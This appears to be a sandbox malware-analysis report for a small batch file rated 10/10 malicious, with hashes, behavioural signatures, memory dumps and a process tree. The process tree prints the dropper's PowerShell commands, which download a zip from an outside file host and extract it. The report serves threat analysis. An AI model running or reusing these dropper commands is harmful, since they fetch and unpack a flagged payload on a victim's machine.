1f2ddc6098fc1879106e8651c5c3c629104f994272b4fa1a04d67c8a723925ec

Analysis

max time kernel
1559s
max time network
1571s
platform
windows7_x64
resource
win7-20230831-en
resource tags

arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
submitted
14/10/2023, 01:32

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

tesy - Copy (6).bat
Size

702B
MD5

65f016a2abe40d2902c7032438a14bd7
SHA1

b3537668ca1bb826e5085aee38b3f7ec654d606e
SHA256

153b384b64bd371e0236c8497c9706db00cc102f068ea8fd4569d20b3b5a6fd8
SHA512

b52486cdc585277de12287b4b2ab17c9e401bfeaee78555fd6d8760d7954b4e361f6e3ec32e4d694ba2cfa69d3d843d0f192539f0c893500b801c05a13b488f7

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	2900	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2900	powershell.exe
2704	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2900	powershell.exe
Token: SeDebugPrivilege	2704	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2976 wrote to memory of 2900	2976	cmd.exe	29
PID 2976 wrote to memory of 2900	2976	cmd.exe	29
PID 2976 wrote to memory of 2900	2976	cmd.exe	29
PID 2976 wrote to memory of 2704	2976	cmd.exe	30
PID 2976 wrote to memory of 2704	2976	cmd.exe	30
PID 2976 wrote to memory of 2704	2976	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (6).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2976
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip', 'test.zip')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2900
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'test.zip' -DestinationPath '.'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2704

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\3KD95HGG87VL8HYULWZQ.temp

Filesize
7KB

MD5
b597c522065286ecc23b0f8b906a6dc3

SHA1
7866b2af4f49af8c56a464fb0db5b6c0603bb8a1

SHA256
84e5e0491da106bcb5f0604373ab7452080d216fb91b9694123b084918818831

SHA512
d84843d15d2f078ee9c54c944bd4ab9fe225c70f8c580150dd0584c81ab87ff8af9cc1cb57fc9b6a65e29c76dde692ba40dbb9dc631c7d20b50bcca956d7ce4a

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
b597c522065286ecc23b0f8b906a6dc3

SHA1
7866b2af4f49af8c56a464fb0db5b6c0603bb8a1

SHA256
84e5e0491da106bcb5f0604373ab7452080d216fb91b9694123b084918818831

SHA512
d84843d15d2f078ee9c54c944bd4ab9fe225c70f8c580150dd0584c81ab87ff8af9cc1cb57fc9b6a65e29c76dde692ba40dbb9dc631c7d20b50bcca956d7ce4a

Download Submit
memory/2704-22-0x000007FEF4BE0000-0x000007FEF557D000-memory.dmp

Filesize
9.6MB

Download
memory/2704-19-0x000000001B290000-0x000000001B572000-memory.dmp

Filesize
2.9MB

Download
memory/2704-27-0x000007FEF4BE0000-0x000007FEF557D000-memory.dmp

Filesize
9.6MB

Download
memory/2704-26-0x0000000002460000-0x00000000024E0000-memory.dmp

Filesize
512KB

Download
memory/2704-25-0x0000000002460000-0x00000000024E0000-memory.dmp

Filesize
512KB

Download
memory/2704-24-0x0000000002460000-0x00000000024E0000-memory.dmp

Filesize
512KB

Download
memory/2704-23-0x0000000002460000-0x00000000024E0000-memory.dmp

Filesize
512KB

Download
memory/2704-20-0x0000000001FD0000-0x0000000001FD8000-memory.dmp

Filesize
32KB

Download
memory/2704-21-0x000007FEF4BE0000-0x000007FEF557D000-memory.dmp

Filesize
9.6MB

Download
memory/2900-11-0x0000000002940000-0x00000000029C0000-memory.dmp

Filesize
512KB

Download
memory/2900-5-0x000007FEF5580000-0x000007FEF5F1D000-memory.dmp

Filesize
9.6MB

Download
memory/2900-7-0x0000000002940000-0x00000000029C0000-memory.dmp

Filesize
512KB

Download
memory/2900-13-0x000007FEF5580000-0x000007FEF5F1D000-memory.dmp

Filesize
9.6MB

Download
memory/2900-4-0x000000001B430000-0x000000001B712000-memory.dmp

Filesize
2.9MB

Download
memory/2900-8-0x0000000002940000-0x00000000029C0000-memory.dmp

Filesize
512KB

Download
memory/2900-10-0x000007FEF5580000-0x000007FEF5F1D000-memory.dmp

Filesize
9.6MB

Download
memory/2900-9-0x0000000002940000-0x00000000029C0000-memory.dmp

Filesize
512KB

Download
memory/2900-6-0x0000000001E50000-0x0000000001E58000-memory.dmp

Filesize
32KB

Download